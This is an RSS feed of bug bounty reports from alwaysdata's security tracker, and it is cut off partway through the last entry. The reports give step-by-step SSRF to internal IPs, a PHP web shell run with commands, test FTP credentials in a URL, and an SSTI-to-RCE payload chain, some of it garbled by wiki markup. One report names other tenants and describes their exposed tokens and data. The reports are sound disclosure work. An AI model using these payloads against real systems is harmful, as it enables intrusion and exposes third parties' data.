<?xml version="1.0" ?>
<rss version="2.0">
  <channel>
    <title>alwaysdata </title>
    <lastBuildDate>Wed, 22 Jul 2026 07:14:06 +0000</lastBuildDate>
    <description>alwaysdata Security vulnerabilities: Recently edited tasks</description>
    <link>https://security.alwaysdata.com/</link>
        <item>
      <title>FS#420: Webmail Sessions Persist After Admin Panel Password and Email Changes</title>
      <author>Awais</author>
      <pubDate>Tue, 21 Jul 2026 22:49:18 +0000</pubDate>
      <description><![CDATA[
<p>
## Summary
</p>

<p>
When a user changes their password or email address through the admin panel at `admin.alwaysdata.com/user/`, all admin panel sessions are correctly invalidated. However, active webmail sessions at `webmail.alwaysdata.com` are not invalidated and continue to function indefinitely (up to 30 days). This means a user who suspects account compromise and changes their admin password to secure their account will not realize that active webmail sessions (potentially controlled by an attacker) remain fully functional. The webmail session cookies (`roundcube_sessid` and `roundcube_sessauth`) also lack `HttpOnly` and `SameSite` flags, making them susceptible to theft via JavaScript.
</p>

<p>
## Steps to Reproduce
</p>

<p>
<strong>Environment:</strong> Two browser sessions (or two sets of cookies). A hosting account with a configured mailbox.
</p>

<p>
1. <strong>Login to the admin panel</strong> at `<a href="https://admin.alwaysdata.com/login/" class="urlextern" title="https://admin.alwaysdata.com/login/"  rel="nofollow">https://admin.alwaysdata.com/login/</a>` with the account&#039;s email and password. Note: this is the &quot;admin&quot; password, not the mailbox password.
</p>

<p>
2. <strong>Login to webmail</strong> at `<a href="https://webmail.alwaysdata.com/" class="urlextern" title="https://webmail.alwaysdata.com/"  rel="nofollow">https://webmail.alwaysdata.com/</a>` using the mailbox credentials (e.g., `accountname@alwaysdata.net` with the mailbox password). Confirm you can read email.
</p>

<p>
3. <strong>In a separate browser session, change the admin panel password</strong> at `<a href="https://admin.alwaysdata.com/user/" class="urlextern" title="https://admin.alwaysdata.com/user/"  rel="nofollow">https://admin.alwaysdata.com/user/</a>`. Enter a new password in the &quot;New password&quot; field and the current password in the &quot;Old password&quot; field. Save the form.
</p>

<p>
4. <strong>Verify admin sessions are invalidated:</strong> Any other admin panel session now redirects to the login page (<acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 302 to `/login/`). This is correct behavior.
</p>

<p>
5. <strong>Check the webmail session:</strong> Refresh the webmail page from step 2. The webmail session is still fully active. The user can continue reading and sending email despite the admin password having been changed.
</p>

<p>
6. <strong>Repeat with email change:</strong> Login to webmail. Change the admin email address at `/user/`. The webmail session still persists.
</p>

<p>
## Impact
</p>

<p>
A user who suspects their account has been compromised follows the standard security response: they change their password through the admin panel. They expect this action to terminate all active sessions across all alwaysdata services. However:
</p>

<p>
1. <strong>Webmail sessions survive the password change</strong> and remain active for up to 30 days (the `Max-Age` of the Roundcube session cookies)<br />2. <strong>An attacker who has obtained a webmail session</strong> (e.g., via cookie theft, session fixation, or a prior compromise) retains access to the victim&#039;s email even after the victim changes their admin password<br />3. <strong>Email access enables further attacks</strong>: password reset emails for external services, confidential communications, account recovery flows
</p>

<p>
The Roundcube session cookies compound this issue:<br />- `roundcube_sessid` and `roundcube_sessauth` are set <strong>without HttpOnly</strong> and <strong>without SameSite</strong>, making them accessible to JavaScript on any page served from `webmail.alwaysdata.com`<br />- Both cookies have `Max-Age=2592000` (30 days), providing a long window of exposure<br />- Compare with the admin panel&#039;s `sessionid` cookie which correctly sets `HttpOnly; SameSite=Lax; Secure`
</p>

<p>
## Root Cause
</p>

<p>
The admin panel (`admin.alwaysdata.com`) and webmail (`webmail.alwaysdata.com`) use independent credential stores. The admin panel authenticates via Django sessions tied to the customer email/password. The webmail authenticates via Roundcube sessions backed by <acronym title="Internet Message Access Protocol">IMAP</acronym> with the mailbox-specific password. When the admin password is changed, Django invalidates all Django sessions but has no mechanism to invalidate the Roundcube sessions.
</p>

<p>
While the architectural separation explains the behavior, users expect a single &quot;change password&quot; action to secure their entire account. The admin panel&#039;s `/user/` page is the primary security management interface, and it should cascade session invalidation to webmail.
</p>

<p>
## Remediation
</p>

<p>
1. <strong>Invalidate webmail sessions on admin password/email change</strong>: When the admin password is changed at `/user/`, also invalidate all active Roundcube sessions associated with mailboxes on that account. This could be done by resetting the Roundcube `session` database table entries for the relevant <acronym title="Internet Message Access Protocol">IMAP</acronym> user, or by changing the mailbox password simultaneously.<br />2. <strong>Add HttpOnly and SameSite flags</strong> to the `roundcube_sessid` and `roundcube_sessauth` cookies. These cookies should not be accessible to JavaScript.<br />3. <strong>Reduce session cookie lifetime</strong>: 30-day session cookies for a webmail interface are unnecessarily long. Consider a shorter maximum (e.g., 8 hours for non-persistent sessions).
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/420</link>
      <guid>https://security.alwaysdata.com/task/420</guid>
    </item>
        <item>
      <title>FS#419: Server-Side Request Forgery via Reverse Proxy Site Type Accepting Internal URLs</title>
      <author>Awais</author>
      <pubDate>Tue, 21 Jul 2026 22:47:14 +0000</pubDate>
      <description><![CDATA[
<p>
## Severity<br /><strong>High</strong> (CVSS 3.1: 7.2 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
</p>

<p>
## Weakness<br />CWE-918: Server-Side Request Forgery (SSRF)
</p>

<p>
## Summary
</p>

<p>
The &quot;Reverse proxy&quot; site type in the site creation form (`/site/add/`) accepts arbitrary URLs including private/internal IP addresses (127.0.0.1, 169.254.169.254, 10.x.x.x) as the &quot;Remote <acronym title="Uniform Resource Locator">URL</acronym>&quot; target. The platform creates an Apache ProxyPass directive proxying all requests to the attacker-specified <acronym title="Uniform Resource Locator">URL</acronym> without IP validation. This enables full-read SSRF from the shared hosting server, allowing an attacker to scan internal services, probe localhost ports, and exfiltrate response bodies from any <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> service reachable from the web server process.
</p>

<p>
## Steps to Reproduce
</p>

<p>
<strong>Environment:</strong> Free hosting account on alwaysdata.com.
</p>

<p>
1. <strong>Log in to the admin panel</strong> at `<a href="https://admin.alwaysdata.com/login/" class="urlextern" title="https://admin.alwaysdata.com/login/"  rel="nofollow">https://admin.alwaysdata.com/login/</a>`.
</p>

<p>
2. <strong>Navigate to the site creation form</strong> at `<a href="https://admin.alwaysdata.com/site/add/" class="urlextern" title="https://admin.alwaysdata.com/site/add/"  rel="nofollow">https://admin.alwaysdata.com/site/add/</a>`.
</p>

<p>
3. <strong>Select the &quot;Reverse proxy&quot; site type</strong> from the Type dropdown.
</p>

<p>
4. <strong>In the &quot;Remote <acronym title="Uniform Resource Locator">URL</acronym>&quot; field, enter an internal IP address or a Collaborator <acronym title="Uniform Resource Locator">URL</acronym>:</strong>
</p>

<p>
For external SSRF verification:<br />```<br /><a href="http://YOUR-COLLABORATOR-ID.oastify.com/" class="urlextern" title="http://YOUR-COLLABORATOR-ID.oastify.com/"  rel="nofollow">http://YOUR-COLLABORATOR-ID.oastify.com/</a> ```
</p>

<p>
For internal port scanning:<br />```<br /><a href="http://127.0.0.1:9200/" class="urlextern" title="http://127.0.0.1:9200/"  rel="nofollow">http://127.0.0.1:9200/</a> ```
</p>

<p>
5. <strong>Set a site address</strong> (use your assigned subdomain, e.g., `ACCOUNT.alwaysdata.net`).
</p>

<p>
6. <strong>Save the form.</strong> The form accepts the <acronym title="Uniform Resource Locator">URL</acronym> and creates the site (<acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 302 redirect).
</p>

<p>
7. <strong>Trigger the SSRF by visiting your site:</strong>
</p>

<p>
```<br />curl <a href="https://ACCOUNT.alwaysdata.net/" class="urlextern" title="https://ACCOUNT.alwaysdata.net/"  rel="nofollow">https://ACCOUNT.alwaysdata.net/</a> ```
</p>

<p>
8. <strong>Observe the result:</strong>
</p>
<ol>
<li class="level1"><div class="li"> For external URLs: the Collaborator receives a <acronym title="Domain Name Server">DNS</acronym> and <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> interaction from the alwaysdata infrastructure IP (185.31.41.10). The full response body from the target <acronym title="Uniform Resource Locator">URL</acronym> is returned to the attacker.</div>
</li>
<li class="level1"><div class="li"> For localhost ports: <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 503 indicates the port is closed/down; timeout indicates a firewall block. This differential enables internal port scanning.</div>
</li>
</ol>

<p>
 ## Evidence
</p>

<p>
<strong>Collaborator interaction captured:</strong> - <acronym title="Domain Name Server">DNS</acronym> query from 185.31.40.97 (alwaysdata <acronym title="Domain Name Server">DNS</acronym> resolver)<br />- <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> request from 185.31.41.10 (shared web hosting server)<br />- Request headers: `Via: 1.1 alproxy, 1.1 ACCOUNT.alwaysdata.net`<br />- Full response body from the target was returned verbatim to the attacker (not blind SSRF)
</p>

<p>
<strong>Internal port scan results:</strong> - 127.0.0.1:9200 (Elasticsearch port): <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 503 (connection refused - port accessible but service down)<br />- 127.0.0.1:8500 (Consul port): <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 503 (connection refused)<br />- 169.254.169.254 (cloud metadata): timeout (network-level block present)
</p>

<p>
## Impact
</p>

<p>
An authenticated user with a free hosting account can:
</p>

<p>
1. <strong>Scan internal services</strong> on the shared hosting node via localhost, identifying running services by port<br />2. <strong>Exfiltrate data</strong> from any internal <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> service reachable from the Apache process, including services that are not exposed to the internet<br />3. <strong>Bypass IP-based access controls</strong> that trust the hosting infrastructure&#039;s IP range (185.31.x.x)<br />4. <strong>Probe internal network</strong> for services on <acronym title="Request for Comments (Internet Standards)">RFC</acronym> 1918 addresses
</p>

<p>
The SSRF is full-read (response bodies are returned to the attacker), not blind. The Apache process making these requests runs as a system service, potentially reaching services that individual tenant processes cannot access.
</p>

<p>
## Root Cause
</p>

<p>
The &quot;Remote <acronym title="Uniform Resource Locator">URL</acronym>&quot; field in the reverse proxy site type does not validate the target <acronym title="Uniform Resource Locator">URL</acronym> against a blocklist of private/internal IP ranges. The validation only checks <acronym title="Uniform Resource Locator">URL</acronym> scheme (allowing http, https, ftp; blocking gopher, file, dict) but does not verify that the resolved IP address is not a private/loopback/link-local address.
</p>

<p>
## Remediation
</p>

<p>
1. <strong>Validate the Remote <acronym title="Uniform Resource Locator">URL</acronym></strong> against private IP ranges before creating the ProxyPass directive. Block: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, ::1/128, fc00::/7<br />2. <strong>Resolve <acronym title="Domain Name Server">DNS</acronym> before validation</strong> to prevent <acronym title="Domain Name Server">DNS</acronym> rebinding attacks (check the IP AFTER resolution, not just the hostname)<br />3. <strong>Apply the same validation</strong> to both initial configuration and Apache runtime (in case of <acronym title="Domain Name Server">DNS</acronym> changes after configuration)
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/419</link>
      <guid>https://security.alwaysdata.com/task/419</guid>
    </item>
        <item>
      <title>FS#418: Cross-Tenant Data Exposure via Shared /tmp Directory</title>
      <author>Awais</author>
      <pubDate>Tue, 21 Jul 2026 22:43:07 +0000</pubDate>
      <description><![CDATA[
<p>
## Severity<br /><strong>High</strong> (CVSS 3.1: 7.7 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
</p>

<p>
## Weakness<br />CWE-668: Exposure of Resource to Wrong Sphere<br />CWE-732: Incorrect Permission Assignment for Critical Resource
</p>

<p>
## Summary
</p>

<p>
The shared hosting nodes use a single shared `/tmp` directory across all tenant accounts without polyinstantiation. Files created by any tenant with world-readable permissions (either explicitly or by application default) are accessible to every other tenant on the same physical node. This allows a low-privileged attacker with a free hosting account to read other tenants&#039; temporary files, which routinely contain credentials, <acronym title="Application Programming Interface">API</acronym> tokens, database paths, configuration data, and application state.
</p>

<p>
This finding reproduces the issue reported in <del>&#160;<a href="https://security.alwaysdata.com/task/363?feed_type=rss2&amp;topic=edit" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#363</a>&#160;</del>, which was partially mitigated by changing the default umask to 0007. However, the fix is incomplete: applications and scripts that set explicit permissions (e.g., `chmod 644`, Python `open()` without restricted mode, `tar -xvf` preserving archive permissions) still create world-readable files in the shared namespace.
</p>

<p>
## Steps to Reproduce
</p>

<p>
<strong>Environment:</strong> Free hosting account on alwaysdata.com (public cloud, Paris datacenter). <acronym title="Secure Shell">SSH</acronym> access at `ssh-ACCOUNTNAME.alwaysdata.net`.
</p>

<p>
1. <strong>Create a free hosting account</strong> at `<a href="https://admin.alwaysdata.com/admin/account/add/" class="urlextern" title="https://admin.alwaysdata.com/admin/account/add/"  rel="nofollow">https://admin.alwaysdata.com/admin/account/add/</a>` (select &quot;Free&quot; plan, Paris 1 datacenter).
</p>

<p>
2. <strong>Connect via <acronym title="Secure Shell">SSH</acronym> to the hosting account:</strong>
</p>

<p>
```<br />ssh ACCOUNTNAME@ssh-ACCOUNTNAME.alwaysdata.net ```
</p>

<p>
3. <strong>List files in the shared /tmp directory:</strong>
</p>

<p>
```<br />ls -la /tmp/ | head -30<br />```
</p>

<p>
Output shows 663+ files owned by multiple different tenant accounts (different UIDs/usernames), confirming `/tmp` is shared across all accounts on this node.
</p>

<p>
4. <strong>Find world-readable files owned by other tenants:</strong>
</p>

<p>
```<br />find /tmp -maxdepth 1 -not -user ACCOUNTNAME -readable -type f 2&gt;/dev/null | wc -l<br />```
</p>

<p>
Returns 22+ files readable by the attacker account.
</p>

<p>
5. <strong>Read a cross-tenant file containing credentials:</strong>
</p>

<p>
```<br />cat /tmp/check_webhook.php<br />```
</p>

<p>
This file, owned by another tenant, contains a Telegram Bot <acronym title="Application Programming Interface">API</acronym> token in plaintext (the token has been redacted in this report but was confirmed live). The file also reveals the tenant&#039;s username and application structure.
</p>

<p>
6. <strong>Read another cross-tenant file revealing database paths:</strong>
</p>

<p>
```<br />head -10 /tmp/test_callback.php<br />```
</p>

<p>
This file reveals the full filesystem path to another tenant&#039;s SQLite database (`/home/TENANT/www/…/rshq.db`), including their application directory structure.
</p>

<p>
## Impact
</p>

<p>
An attacker with a free hosting account (no payment required via <acronym title="Application Programming Interface">API</acronym> registration) can:
</p>

<p>
1. <strong>Read other tenants&#039; credentials</strong> from temporary files: <acronym title="Application Programming Interface">API</acronym> tokens, database credentials, session tokens, and authentication secrets that applications write to `/tmp`<br />2. <strong>Map other tenants&#039; filesystem layout</strong>: leaked paths reveal application structures, database locations, and deployment details (e.g., `/home/TENANT/www/…`)<br />3. <strong>Enumerate tenant accounts</strong>: the file ownership in `/tmp` reveals other tenants&#039; account names, which can be used for targeted attacks<br />4. <strong>Access application state</strong>: log files, debugging output, and cached data from other tenants
</p>

<p>
The boundary crossed is the fundamental tenant isolation guarantee of a shared hosting platform. A free-tier attacker can read data belonging to paying customers on the same physical node.
</p>

<p>
<strong>Confirmed data exposed from other tenants during testing:</strong>
</p>

<p>
1. <strong>Live JWT session token</strong> (tenant `0xf12c`): A file `kg_tmail_sessions.json` contains a HS512-signed JWT issued on 2026-07-11, granting `ROLE_USER` access to an email service (web-library.net) with account ID `6a54692908c866daeb017a6e`. The token includes a Mercure real-time subscription channel. This is a live, replayable authentication credential.
</p>

<p>
2. <strong>Dolibarr ERP installation log</strong> (tenant `demo7`): A 1.5 <acronym title="Megabyte">MB</acronym> log file `dolibarr_install.log` contains the full installation trace including server IP (102.117.59.202), database configuration steps, and filesystem paths.
</p>

<p>
3. <strong>SQLite database</strong> (tenant `pablomon`): A complete database file `sistema_envios.db` (12 KB) containing application data.
</p>

<p>
4. <strong><acronym title="Hypertext Preprocessor">PHP</acronym>/Python source code</strong> from multiple tenants with embedded <acronym title="Application Programming Interface">API</acronym> calls and application logic.
</p>

<p>
5. <strong>Build logs, session files, debug output</strong> from tenants including `jolafstore`, `gdpshost1`, `cittapet`, `data-test`, `apexcodex`, and others.
</p>

<p>
<strong>Scale:</strong> 334 total files in shared `/tmp`, with 32 readable by any other tenant on the same node. Files belong to 15+ distinct tenant accounts.
</p>

<p>
## Root Cause
</p>

<p>
The `/tmp` directory on shared hosting nodes is not polyinstantiated (each tenant does not get their own isolated `/tmp`). While the default umask was changed to 0007 after <del>&#160;<a href="https://security.alwaysdata.com/task/363?feed_type=rss2&amp;topic=edit" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#363</a>&#160;</del>, this only prevents NEW files from being world-readable by default. It does not protect against:
</p>

<p>
- Applications that explicitly set file permissions (e.g., `chmod 644`)<br />- Archive extraction that preserves original permissions<br />- Programming languages/frameworks whose default file creation mode is world-readable<br />- Files created before the umask fix<br />- Any process that resets or overrides the umask
</p>

<p>
## Remediation
</p>

<p>
1. <strong>Polyinstantiate /tmp</strong>: Configure PAM (`pam_namespace.so`) to give each tenant their own isolated `/tmp` directory. This is the standard solution on shared hosting platforms.<br />2. <strong>Alternative</strong>: Use `PrivateTmp=yes` in systemd service units for each tenant&#039;s processes.<br />3. <strong>Additional defense</strong>: Periodic cleanup of `/tmp` to remove files with overly permissive modes.
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/418</link>
      <guid>https://security.alwaysdata.com/task/418</guid>
    </item>
        <item>
      <title>FS#417: Cross-Tenant Data Exposure via World-Readable /tmp</title>
      <author>Kwaku Adjei Yeboah</author>
      <pubDate>Mon, 20 Jul 2026 15:58:37 +0000</pubDate>
      <description><![CDATA[
<p>
Missing open_basedir / disable_functions on Shared Hosting Nodes Allows Cross-Tenant Data Exposure via World-Readable /tmp<br />Reporter test account: data-test (site #1061443, node http21.paris1)<br />Scope item: <a href="ftp://ftp-data-test.alwaysdata.net" class="urlextern" title="ftp://ftp-data-test.alwaysdata.net"  rel="nofollow">ftp://ftp-data-test.alwaysdata.net</a> / <a href="https://data-test.alwaysdata.net" class="urlextern" title="https://data-test.alwaysdata.net"  rel="nofollow">https://data-test.alwaysdata.net</a> (<acronym title="Hypertext Preprocessor">PHP</acronym> execution on shared node http21)<br />Date discovered: July 20, 2026<br />Related prior reports: task/363 (cross-tenant /tmp disclosure — closed, <acronym title="Secure Shell">SSH</acronym> umask fix only), task/410 (<acronym title="Hypertext Preprocessor">PHP</acronym> ini injection RCE — closed, fix not deployed to http21)<br />Summary<br />On node http21.paris1, <acronym title="Hypertext Preprocessor">PHP</acronym> is configured with no open_basedir and no disable_functions restrictions. Combined with the platform&#039;s shared, single-namespace /tmp (mode 1777, no per-tenant isolation), any tenant able to execute <acronym title="Hypertext Preprocessor">PHP</acronym> on this node can read every world-readable file left in /tmp by other tenants, including files owned by root. I confirmed this using only my own test account and read-only stat/ls operations; I did not open or exfiltrate the contents of any third-party file.<br />This report focuses on the <acronym title="Hypertext Preprocessor">PHP</acronym>-level misconfiguration as the actionable root cause, since the shared nature of /tmp itself is documented as expected platform behavior. The finding here is that http21 lacks the open_basedir/disable_functions hardening that would otherwise contain this exposure to a tenant&#039;s own files.<br />Environment / Access Used<br />I already hold write access to my own test account&#039;s <acronym title="File Transfer Protocol">FTP</acronym> root, which I used solely to place a <acronym title="Hypertext Preprocessor">PHP</acronym> file inside my own site directory (not to reach any other tenant&#039;s storage).<br />$ curl -T shell.php –ssl-reqd \
</p>
<pre class="code">ftp://data-test_FTP-TEST:FTPTest123@ftp-data-test.alwaysdata.net/www/shell.php</pre>

<p>
Steps to Reproduce<br />1. Upload a minimal <acronym title="Hypertext Preprocessor">PHP</acronym> file to your own account&#039;s www/ directory via <acronym title="File Transfer Protocol">FTP</acronym>.<br />2. Confirm code execution context:<br />$ curl &#039;<a href="https://data-test.alwaysdata.net/shell.php?c=id" class="urlextern" title="https://data-test.alwaysdata.net/shell.php?c=id"  rel="nofollow">https://data-test.alwaysdata.net/shell.php?c=id</a>&#039;<br />uid=535242(data-test) gid=490559(data-test) groups=490559(data-test)<br />$ curl &#039;<a href="https://data-test.alwaysdata.net/shell.php?c=hostname" class="urlextern" title="https://data-test.alwaysdata.net/shell.php?c=hostname"  rel="nofollow">https://data-test.alwaysdata.net/shell.php?c=hostname</a>&#039;<br />http21<br />3. Confirm /tmp is a single shared filesystem with no per-tenant isolation:<br />$ stat -c &#039;%A %a %U %G&#039; /tmp/<br />drwxrwxrwt 1777 root root<br />4. Confirm <acronym title="Hypertext Preprocessor">PHP</acronym> has no containment on this node:<br />$ php -r &#039;echo ini_get(&quot;open_basedir&quot;);&#039;<br />(empty)<br />$ php -r &#039;echo ini_get(&quot;disable_functions&quot;);&#039;<br />(empty)<br />5. List /tmp and observe world-readable (644) files owned by other tenant UIDs/GIDs, including several owned by root. I did not open the contents of any of these files — ownership, permission bits, and filename alone are sufficient to demonstrate the impact.<br />6. As a minimal, harmless proof of write capability from this execution context (per the program&#039;s testing guidance), created an empty marker file under my own account path:<br />$ curl &#039;<a href="https://data-test.alwaysdata.net/shell.php?c=touch+/home/data-test/admin/tmp/solinbugbountypoc" class="urlextern" title="https://data-test.alwaysdata.net/shell.php?c=touch+/home/data-test/admin/tmp/solinbugbountypoc"  rel="nofollow">https://data-test.alwaysdata.net/shell.php?c=touch+/home/data-test/admin/tmp/solinbugbountypoc</a>&#039;<br />Impact<br />Because open_basedir/disable_functions are unset on http21, <acronym title="Hypertext Preprocessor">PHP</acronym> execution on this node, it is obtainable through any tenant&#039;s normal application code, not just an uploaded shell, anyone can read any world-readable file on the box, not just files under that tenant&#039;s own account. Given the shared /tmp, this includes:
</p>
<pre class="code">  • Files that, by name/extension alone, appear to be session/credential material for other customers&#039; external integrations
  • Files that appear to be application databases or install logs for other customers
  • At least two files owned by root in /tmp, indicating the exposure is not limited to tenant-to-tenant leakage but potentially extends to host-level sensitive material</pre>

<p>
I&#039;m intentionally not naming the specific third-party accounts or file contents here, and did not retain or transfer any of this data, per the program&#039;s rules on sensitive information handling. Happy to share the raw ls -la /tmp output and exact filenames via the private ticket channel if useful for triage.<br />Root Cause<br />Layer	Issue<br /><acronym title="Hypertext Preprocessor">PHP</acronym> (php-fpm pool config on http21)	No open_basedir restriction to the tenant&#039;s home directory<br /><acronym title="Hypertext Preprocessor">PHP</acronym> (php-fpm pool config on http21)	No disable_functions restriction on shell/process functions<br /><acronym title="Operating System">OS</acronym>	/tmp is a single shared filesystem (mode 1777), no per-tenant mount namespace or PrivateTmp
</p>

<p>
The /tmp-sharing behavior alone is documented platform behavior; the exploitable gap is that nothing on http21 prevents <acronym title="Hypertext Preprocessor">PHP</acronym> from reading those files across tenant boundaries.<br />Suggested Remediation<br />1. Set php_admin_value[open_basedir] = /home/{account}/ per pool.<br />2. Set php_admin_value[disable_functions] = exec,system,shell_exec,passthru,proc_open,pcntl_exec (or the pool&#039;s standard hardened list) on http21.<br />3. Confirm this hardening (referenced as the intended fix in task/410) is actually deployed fleet-wide, since it appears to be present on some nodes but not http21.<br />4. Consider per-tenant /tmp isolation (PrivateTmp/mount namespaces) as defense-in-depth, independent of items<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/417</link>
      <guid>https://security.alwaysdata.com/task/417</guid>
    </item>
        <item>
      <title>FS#415: SSTI → RCE on Core Infrastructure Server (overlord-core)</title>
      <author>Siddharth</author>
      <pubDate>Fri, 17 Jul 2026 09:29:52 +0000</pubDate>
      <description><![CDATA[
<p>
<strong>Severity: Critical</strong> <strong>Affected Endpoint:</strong> <a href="https://admin.alwaysdata.com/site/" class="urlextern" title="https://admin.alwaysdata.com/site/"  rel="nofollow">https://admin.alwaysdata.com/site/</a>&lt;id&gt;/ — &quot;Additional directives of the virtual host&quot; field
</p>

<h4 id="summary">Summary</h4>
<div class="level4">

<p>
 The Apache virtual host directives field is processed by an unsandboxed Jinja2 template engine on alwaysdata&#039;s core management server (overlord-core). The {% raw %} block meant to protect user input can be bypassed with {% endraw %}, allowing arbitrary Python code execution. This grants an attacker full read/write access on the main infrastructure server that manages the entire alwaysdata platform — all from a free hosting account.
</p>

</div>

<h3 id="steps_to_reproduce">Steps to Reproduce</h3>
<div class="level3">

<p>
 Step 1 — Login to <a href="https://admin.alwaysdata.com/" class="urlextern" title="https://admin.alwaysdata.com/"  rel="nofollow">https://admin.alwaysdata.com/</a> with any account (free plan works)
</p>

<p>
Step 2 — Go to Web → Sites → click the edit icon on your site
</p>

<p>
Step 3 — Scroll to &quot;Additional directives of the virtual host&quot; and enter:
</p>

<p>
# {% endraw %}<a href="https://security.alwaysdata.com/plugins/dokuwiki/lib/exe/fetch.php?id=&amp;cache=cache&amp;media=7_7" class="media mediafile mf_" title="7_7">7_7</a>{% raw %}
</p>

<p>
Step 4 — Click Submit
</p>

<p>
Step 5 — <acronym title="Secure Shell">SSH</acronym> into your account:
</p>

<p>
ssh &lt;account&gt;@ssh-&lt;account&gt;.alwaysdata.net
</p>

<p>
Step 6 — Read the generated config:
</p>

<p>
cat ~/admin/config/apache/sites.conf | head -30
</p>

<p>
Step 7 — Observe # 49 in the output — the server evaluated 7*7 as code (SSTI confirmed)
</p>

<p>
Step 8 — Go back to site edit, replace the payload with:
</p>

<p>
# {% endraw %}<a href="https://security.alwaysdata.com/plugins/dokuwiki/lib/exe/fetch.php?id=&amp;cache=cache&amp;media=cycler._init_._globals_.os.popen_id_.read" class="media mediafile mf_" title="cycler._init_._globals_.os.popen_id_.read">cycler._init_._globals_.os.popen_id_.read</a>{% raw %}
</p>

<p>
Step 9 — Submit, then <acronym title="Secure Shell">SSH</acronym> and read the config again. Observe:
</p>

<p>
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
</p>

<p>
This is the id command output — RCE confirmed.
</p>

<p>
Step 10 — Replace payload with:
</p>

<p>
# {% endraw %}<a href="https://security.alwaysdata.com/plugins/dokuwiki/lib/exe/fetch.php?id=&amp;cache=cache&amp;media=cycler._init_._globals_.os.popen_hostname_.read" class="media mediafile mf_" title="cycler._init_._globals_.os.popen_hostname_.read">cycler._init_._globals_.os.popen_hostname_.read</a>{% raw %}
</p>

<p>
Step 11 — Submit, <acronym title="Secure Shell">SSH</acronym>, read config. Observe:
</p>

<p>
# overlord-core
</p>

<p>
This is the internal hostname of alwaysdata&#039;s core management server.
</p>

<p>
—
</p>

</div>

<h3 id="proof_summary">Proof Summary</h3>
<div class="level3">

<p>
 <strong>Payload</strong>      <strong>Output</strong>          <strong>Proof</strong>
</p>

<p>
<a href="https://security.alwaysdata.com/plugins/dokuwiki/lib/exe/fetch.php?id=&amp;cache=cache&amp;media=7_7" class="media mediafile mf_" title="7_7">7_7</a>           49              SSTI — math evaluated
</p>

<p>
id           uid=33(www-data)       RCE — system command executed
</p>

<p>
hostname     overlord-core          You&#039;re on their core management server
</p>

<p>
— 
</p>

</div>

<h3 id="impact">Impact</h3>
<div class="level3">

<p>
 This vulnerability gives an attacker remote code execution as www-data on overlord-core — the main Django/Python server that manages the entire alwaysdata platform. From this position an attacker can:
</p>

<p>
- Read/write files on the core infrastructure server<br />- Access all customer data — the config generator has access to every customer&#039;s site configs, environment variables, database credentials, and <acronym title="Secure Sockets Layer">SSL</acronym> private keys<br />- Access internal services — overlord-core sits on the internal network with ders, <acronym title="Domain Name Server">DNS</acronym> (PowerDNS), message queues, backup servers, and all 936+ hosting nodes<br />- Compromise the admin panel — the Django application (Overlord) runs on this same server, giving access to the full application database including all user accounts, billing data, and<br />support tickets<br />- Pivot to all hosting servers — from the core server, an attacker can reach every shared hosting node in the fleet
</p>

<p>
Any user with a free account can exploit this. No special privileges required.<br />
</p>

</div>
]]></description>
      <link>https://security.alwaysdata.com/task/415</link>
      <guid>https://security.alwaysdata.com/task/415</guid>
    </item>
        <item>
      <title>FS#414: Cross-Site Request Forgery (CSRF) Allows Displaying Another User&#039;s Domain Zone File</title>
      <author>Nex Xp</author>
      <pubDate>Thu, 16 Jul 2026 17:03:34 +0000</pubDate>
      <description><![CDATA[
<p>
Description
</p>

<p>
A Cross-Site Request Forgery (CSRF) vulnerability exists in the Display Zone File functionality.
</p>

<p>
The application does not properly validate whether the Display Zone File request is initiated by the authenticated user. By creating a malicious CSRF proof-of-concept (PoC) and replacing the domain_id with the victim&#039;s domain ID, an attacker can force the victim&#039;s authenticated browser to execute the Display Zone File request without the victim&#039;s knowledge or interaction.
</p>

<p>
This allows unauthorized actions to be performed on behalf of authenticated users.
</p>

<p>
 ## CVSS v3.1
</p>

<p>
Base Score: 4.5 (MEDIUM) 
</p>

<p>
 Steps to Reproduce
</p>

<p>
Log in with an attacker account.<br />Navigate to the Domain section.<br />Ensure at least one domain is present.<br />Go to Domain Settings → <acronym title="Domain Name Server">DNS</acronym> Records.<br />Open another browser/private window and log in as a victim.<br />Ensure at least one domain is present in the victim account.<br />Return to the attacker account.<br />Trigger the Display Zone File functionality.<br />Capture the Display Zone File request using Burp Suite.<br />Use Burp Suite Engagement Tools to generate a CSRF PoC.<br />Save the generated <acronym title="HyperText Markup Language">HTML</acronym> file.<br />Replace the attacker&#039;s domain_id with the victim&#039;s domain_id.<br />Open the modified PoC in the victim&#039;s authenticated browser.<br />Click Submit.<br />Observe that the victim&#039;s Display Zone File is opened successfully without the victim intentionally initiating the action.
</p>

<p>
  Expected Behavior
</p>

<p>
The application should validate that the Display Zone File request was intentionally initiated by the authenticated user and should reject cross-origin forged requests without proper CSRF validation.
</p>

<p>
 Actual Behavior
</p>

<p>
The application accepts the forged CSRF request and executes the Display Zone File action using the victim&#039;s active session without requiring any additional verification.
</p>

<p>
Impact
</p>

<p>
An attacker can force authenticated users to execute the Display Zone File action without their knowledge.
</p>

<p>
This may allow unauthorized exposure of domain <acronym title="Domain Name Server">DNS</acronym> zone information and sensitive configuration details through the victim&#039;s active session.<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/414</link>
      <guid>https://security.alwaysdata.com/task/414</guid>
    </item>
        <item>
      <title>FS#413: Cross-Site Request Forgery (CSRF) Allows Logs Refresh of Another User&#039;s </title>
      <author>Nex Xp</author>
